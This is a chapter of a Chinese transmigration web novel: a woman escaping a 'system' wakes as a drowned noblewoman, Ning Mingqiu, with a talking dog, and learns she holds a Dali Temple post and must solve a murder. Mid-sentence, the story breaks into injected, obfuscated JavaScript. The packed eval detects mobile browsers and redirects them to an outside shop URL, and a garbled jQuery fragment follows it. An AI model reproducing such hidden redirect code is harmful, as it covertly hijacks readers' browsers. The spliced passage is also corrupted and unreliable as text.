正值观德二十年,自朔国与江国签了那份休战盟约起,上至当朝天子,下至黎明百姓,都得以喘了口气。眼下开了春,聚在京城中的举子们考完了试,只等着放榜。
“武战”已休,“文战”亦平,京城里好一派祥和的气氛,夜也比寻常更静了些。
可今夜的宁府有些不同寻常。
门房提起精神把守着大门,尽责的家丁提着写有“宁”字的灯笼巡着夜,耳房的丫鬟睡得正沉,谁都没注意到庭中的池塘里,浮着件白色的袍子。
这袍子用料上乘,细腻如这一池的春水,在月色中亮得扎眼,它不会是下人的衣物,若是让那名叫金盏的丫鬟见了,定能瞧出这是小姐的衣服。
也定能瞧出这袍子里裹着的人,正是她家小姐。
这池子静得一丝波纹都没有,可见她家小姐泡了有些时候了,不管是否有人发现,一府的人明天就要换主人了。
新的变故就是在这时出现的,那袍中人突然挣扎了起来,扑了两下水,打碎了一池的月色,又听她吞了几口池水后唤了个名字:“大黄……”
池子里另外那个不知什么时候出现的生物便咬住了她的衣领,硬生生给她拖回了岸上,这生物抖了抖身上的水,竟是一只通体黄色的狗。
倒是与“大黄”这个名字挺相配。
可它一张嘴,口吐人言:“叫谁大黄呢!”
又抬爪瞧了瞧自己,惊道:“啊!”
袍中人仰面躺着,一席白袍与黑色长发湿漉漉地摊在地上,露出张清雅的脸来,她眸中映着月色,神色淡然,不似这世间的人,被救上了岸也未言语,一言不发地等了许久。
她的确不是这世间的人。
她在等系统的提示音。
她趁着系统升级的机会,借着漏洞来到了这个没有系统的世界,眼下她无法打开系统面板,这位多年的搭档也退化成了初始的样貌,等了这么久也没有系统音响起。
想必是她的逃离计划成功了。
她松了一口气,便道:“大黄,学狗叫,把人叫过来。”
大黄偏了偏正滴着水的脑袋:“你怎么不自己去叫?”
“其一,我身上这料子好得紧,不是寻常人家用的,这庭院也布得精巧,一看便是有下人时常打理;其二,那池塘底还沉着个轮椅,这溺死的小姐还怕是有腿疾。她身世显赫,有腿疾又溺死在这池里,情况颇为复杂,我要是现在叫人来,无法解释不说,还会被人瞧出不对劲,无故生出多余的事端来。”
“我把人叫来不也是一样的?”
袍中人将眼一闭:“我要装晕了。”
“……”
霎时间,宁府被几声犬吠扰了清净。
金盏从睡梦中惊醒,匆匆拢了衣服出门,她先是去瞧小姐所在正屋,屋内是暗的,没有烛光亮起,似是没有被这骚动惊醒,整个屋子也瞧着没什么异样,便宽了心,出了院后抓住个家丁责备道:“什么事这么慌张?也不怕吵了小姐!”
话音刚落,远处一个提着灯笼的家丁快步跑了过来,这灯笼随着他的步子抖得厉害,声音也抖了起来:“不好了!金盏姑娘,主人她……”
见他如此慌张,金盏不免心中一惊,但依然沉住了气:“怎么了?”
“主人她落水了!严总管叫我来寻你……”
金盏一听这话,眼前倏得一黑,不等把话听完,夺过他手中的灯笼就往前跑去。
这庭中的花园是请名士设计建造的,临水亭台,满园春色,一步一景,风雅至极,可平日里的好景色今夜无人顾得上欣赏,众人悬着的那颗心都挂在池边的落水者身上。
金盏提着灯笼赶到时,正巧听到了医婆的那句“无大碍,只是晕过去了”,她卸了力气,鼻子一酸,跪扑在小姐身边,又连连问了两句:“可是真的无大碍?”
医婆道:“金盏姑娘,快将主人扶回去,换身干爽衣服,不然怕要伤风了罢。”
金盏探了探小姐的身子,冷得厉害,就先将自己的外袍脱下来披在小姐身上,与几个丫鬟一同将小姐架了起来。
走了两步,才发现脚边还跟着条湿漉漉的狗,这条狗亦步亦趋地跟着她们,可看模样不是府内豢养的。
“让它跟着吧,”身后的严总管发了话,“主人能得救,多亏了这不知哪来的畜生。”
末了,他又添了一句:“好生照看着主人,莫要让她再做傻事。”
眼见着几个丫鬟走远了,他又沉下了脸色,对着周围的下人厉声道:“今晚的事情,不准走漏半点风声,都给我烂在肚子里!”
下人齐声道:“是!”
春日的夜风袭来,将池边聚着的一众人吹散了去,又将丝丝凉意吹入了赶路人的领口中,赶路人似是没察觉到这风,只是在夜色中一路奔走,一刻不敢停,终于敲上了大理寺的大门。
“有急报!”
门房懒洋洋地问:“什么事啊?”
赶路人一口气没喘匀,又急忙将文书递了出去:“京县县令无故身亡了。”
门房接过文书,确认无误后不敢怠慢,朝门内高声禀报了去。
这下,被搅扰了清净的不止宁府一家了。
金盏彻夜照料着自家小姐,瞧着她苍白的脸色,即使身子暖了过来脸上也不见血色,再想起家中的变故,鼻子又是一酸,眼泪扑簌簌地落了下来。
恰在此时,一只手将她的眼泪拂了去,“莫哭了。”
她家小姐醒了。
“小姐!你可算醒了,可有哪里不舒服?喝水吗?饿不饿?”金盏将一连串问题抛给了她。
大黄熟悉自家主人的秉性,这定是被丫鬟的哭声吵得装不下去了,才醒过来的,它已经被丫鬟擦干了身子,眼下正舒舒服服地趴在垫子里,听到主人的声音也懒得抬头,只是换个姿势又躺了下去。
“我……我这是在哪里?”
“小姐!这是您的房间啊!”
它家主人开始演戏了,虽称不上拙劣,但也算不得精湛。
“我是谁?”
短短三个字,又让金盏酸了鼻子:“小姐……您可别吓我……我我我……我这就去叫医婆来!”
“等等!我似乎想起了一些,你叫金盏,该是我的贴身丫鬟。”她装晕的时候听到过这个名字。
金盏破涕为笑,又坐回了床边:“对对,小姐,您想起来了?”
“有些想得起来,有些想不起来,不如你多提醒提醒我,或许我就能想起来了,我是谁?我叫宁……”她从地上被扶起时偷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051855|194809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偷睁眼看到了灯笼上的字。
“明秋!小姐姓宁,名明秋,您是常兴侯之女……您您您……”
现在的宁明秋一个头两个大,她刚支起身子,就见金盏扑到她身上,哭得更凶了:“小姐,您可千万不要再想不开了啊!宁府上上下下的人,可都指望着您呢……您不能这么狠心,弃金盏、弃严叔、弃宁府的人而去啊……”
想不开?这原主竟是投河自尽吗?
从这唤作金盏的贴身丫鬟的反应来看,她与自家小姐关系匪浅,定是一举一动都了然于胸,宁明秋若是想要以宁明秋的身份在这个世界过下去,理应继续假装失忆才对,这才是能骗过这些个熟人的唯一办法。
可瞧着眼前这个对自家小姐身亡一无所知的丫鬟,瞧着她如释重负后又后怕的样子,兴许宁明秋是起了些恻隐之心,也兴许是太久没在正常世界里生活,这寻常的事情让她懈怠了些。
宁明秋伸手抚了抚金盏的头:“现如今我已经想开了。”
金盏抬起那张哭花了的脸,“您想开就好,老爷和夫人畏罪身亡的事,皇上都说了不会牵连远在京城的小姐……”
这宁家竟还出了如此变故。
可这宁府的人,没有一个披麻戴孝的,府中也没有挂些素色灯笼或白色孝幔,是这个世界的风俗有所不同,还是二老已故去多时,守孝已经结束?
“……更何况您已表了忠心,也被降了职,丧亲都未守孝,您做这一切不都是为了保住现在的宁府吗?最难的日子已经过去了,您怎么能……”
这不守孝竟是为了投诚。
宁明秋已然明了自己眼下的处境,父母畏罪身亡,先前的宁明秋投了诚,与父母撇清了干系,竟只是降了职就将危机度了过去。
虽不知为何跳河自尽,但于现今的宁明秋而言,既然已度过危机,余下的事情就只需慢慢了解,而后在这个寻常的世界里好好度过此生而已。
宁明秋作有气无力状:“我有些乏了,余下的等天亮了再说吧。”
听了这话,金盏总算收起眼泪,为她整理了下被褥:“那小姐好生歇息。”
宁明秋躺回被窝,却发现金盏没有要出屋的打算,这丫鬟吹灭了蜡烛,在屋内靠窗的榻上歇息了。
这确实是在好生照看着宁明秋,生怕她再做出点出人意料的事情。
夜深了,宁明秋适应了黑暗,借着屋外的月色打量着屋内的陈设,都是些寻常物件,瞧着没什么特别的,而大黄,宁明秋探头瞧了瞧睡在床下的这条狗,竟不知何时睡过去了,眼下睡得正熟。
寻常的屋子,寻常的狗,寻常的人,这屋内场景平静得令人心软。
这一夜宁明秋睡得很是安稳。
若不是天没亮就被屋外的动静吵醒了的话。
“主人!外面有大理寺的吏卒求见,说京中出了命案,要您现在赶去县衙,若……若不能今早破案,寺卿大人要拿您是问。”
金盏听了不知低骂了一句什么,“就是见您失了势,才会如此欺辱于您!要是往日,这个汪大人哪敢这样同您说话!”
而宁明秋此时有些讶异,她昨夜听闻宁明秋被降职,已得知这宁明秋有官职,可她没料到,这官职竟是大理寺的官职,这差事竟是要查案的差事。